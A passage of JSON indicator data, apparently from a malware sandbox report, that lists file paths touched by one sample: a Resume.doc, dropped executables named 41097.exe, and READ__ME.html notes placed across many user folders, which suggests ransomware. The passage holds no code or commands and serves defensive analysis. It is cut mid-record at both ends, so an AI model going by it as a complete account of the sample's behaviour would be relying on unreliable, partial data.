:"5a9ed6bf7ca3e13988105163"}]},{"path":"%APPDATA%\\Microsoft\\Templates\\Normal.dotm","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRC0000.tmp","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\msxml6r.dll","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{9E5C7855-0CE2-49DC-9B75-09F8670A4C8A}.tmp","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\mscorlib.dll","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\mscorlib.pdb","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\symbols\\dll\\mscorlib.pdb","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\dll\\mscorlib.pdb","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\mscorlib.pdb","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.pdb","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\symbols\\dll\\Microsoft.PowerShell.Commands.Utility.pdb","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\dll\\Microsoft.PowerShell.Commands.Utility.pdb","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\Microsoft.PowerShell.Commands.Utility.pdb","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.pdb","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\symbols\\dll\\System.Management.Automation.pdb","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\dll\\System.Management.Automation.pdb","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System.Management.Automation.pdb","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{9C9C1D9A-E45A-41F9-8D98-D3B6EA5D768D}","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{72D885C2-0AEC-4510-95D5-BF120A963535}","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\en-US\\propsys.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\GKWord.dll","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\oleacc.dll","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%COMMONPROGRAMFILES%\\System\\ado\\msadox.dll","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%TEMP%\\41097.exe","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%LOCALAPPDATA%\\41097.exe","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\4293265C6816E1A702A69D5E1BB5D263CA16B95AB563D3FC9E90545FD7ACE20B","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"C:\\share","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"C:\\autoexec.bat","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"C:\\share\\1520359140631$MAPFAILURE","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"C:\\share\\1520359140631$OK","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"C:\\share\\Resume.doc","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"C:\\share\\cf1a2c67aa42262062b860a7f79fccf07cb90761d329b3021c0dd913700cef78#env#100.doc_1520359133264_unzipped\\part-001.ksh","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"C:\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"C:\\config.sys","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\spool\\drivers\\w32x86\\3\\sendtoonenote.BUD","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\spool\\drivers\\w32x86\\3\\sendtoonenote.gpd","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\spool\\drivers\\w32x86\\3\\stdnames.gpd","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\spool\\drivers\\w32x86\\3\\SendToOneNoteNames.gpd","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\spool\\drivers\\w32x86\\3\\SendToOneNoteFilter.gpd","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%WINDIR%\\System32\\spool\\drivers\\w32x86\\3\\SendToOneNote.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"C:\\pagefile.sys","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"C:\\Resume.doc","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"C:\\~$Resume.doc","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"C:\\Users\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"C:\\Users\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Videos\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Videos\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Videos\\Sample Videos\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Videos\\Sample Videos\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Videos\\Sample Videos\\Wildlife.wmv","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Recorded TV\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Recorded TV\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Recorded TV\\Sample Media\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Recorded TV\\Sample Media\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Pictures\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Pictures\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Pictures\\Sample Pictures\\Chrysanthemum.jpg","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Pictures\\Sample Pictures\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Pictures\\Sample Pictures\\Desert.jpg","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Pictures\\Sample Pictures\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Pictures\\Sample Pictures\\Hydrangeas.jpg","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Pictures\\Sample Pictures\\Jellyfish.jpg","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Pictures\\Sample Pictures\\Koala.jpg","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Pictures\\Sample Pictures\\Lighthouse.jpg","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Pictures\\Sample Pictures\\Penguins.jpg","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Pictures\\Sample Pictures\\Tulips.jpg","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Music\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Music\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Music\\Sample Music\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Music\\Sample Music\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Music\\Sample Music\\Kalimba.mp3","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Music\\Sample Music\\Sleep Away.mp3","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Libraries\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Libraries\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Libraries\\RecordedTV.library-ms","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Downloads\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Downloads\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Documents\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Documents\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Desktop\\Adobe Reader XI.lnk","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Desktop\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Desktop\\Google Chrome.lnk","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%PUBLIC%\\Desktop\\Mozilla Firefox.lnk","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Desktop background.png","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\NTUSER.DAT","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\ntuser.dat.LOG1","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\ntuser.dat.LOG2","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\NTUSER.DAT{6cced2f1-6e01-11de-8bed-001e0bcd1824}.TM.blf","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\NTUSER.DAT{6cced2f1-6e01-11de-8bed-001e0bcd1824}.TMContainer00000000000000000001.regtrans-ms","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\NTUSER.DAT{6cced2f1-6e01-11de-8bed-001e0bcd1824}.TMContainer00000000000000000002.regtrans-ms","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\ntuser.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Videos\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Videos\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Searches\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Searches\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Searches\\Everywhere.search-ms","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Searches\\Indexed Locations.search-ms","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Saved Games\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Saved Games\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Saved Games\\Microsoft Games\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Saved Games\\Microsoft Games\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Pictures\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Pictures\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Music\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Music\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Links\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Links\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Links\\Desktop.lnk","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Links\\Downloads.lnk","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Links\\RecentPlaces.lnk","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Windows Live\\Get Windows Live.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Windows Live\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Windows Live\\Windows Live Gallery.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Windows Live\\Windows Live Mail.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Windows Live\\Windows Live Spaces.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\MSN Websites\\MSN Autos.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\MSN Websites\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\MSN Websites\\MSN Entertainment.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\MSN Websites\\MSN Money.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\MSN Websites\\MSN Sports.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\MSN Websites\\MSN.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\MSN Websites\\MSNBC News.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Microsoft Websites\\IE Add-on site.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Microsoft Websites\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Microsoft Websites\\Microsoft At Home.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Microsoft Websites\\Microsoft At Work.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Microsoft Websites\\Microsoft Store.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links for United States\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links for United States\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links for United States\\GobiernoUSA.gov.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links for United States\\USA.gov.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\1616.net.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\READ__ME.html","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\163.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\17kuxun.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\2345.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\27.cn.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\355.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\360.cn.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\4399.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\4shared.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\51wan.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\56.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\5pk.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\61.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\7k7k.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\95599.cn.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\96pk.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\abchina.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\abcnews.go.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\abril.com.br.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\accountonline.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\addictinggames.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\agame.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\allegro.pl.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\alot.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\amazon.co.jp.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\amazon.co.uk.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\amazon.de.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\ameblo.jp.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\americanexpress.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\answers.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\aol.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\ask.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\att.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\avast.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\badoo.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\baidu.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\baixaki.com.br.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\bankofamerica.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\baomihua.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\bbc.co.uk.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\bing.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\blogger.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\blogspot.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\booking.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\caixa.gov.br.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\cartoonnetwork.com.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\ccb.com.cn.url","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"path":"%USERPROFILE%\\Favorites\\Links\\china.com.url","sources":[{"report_t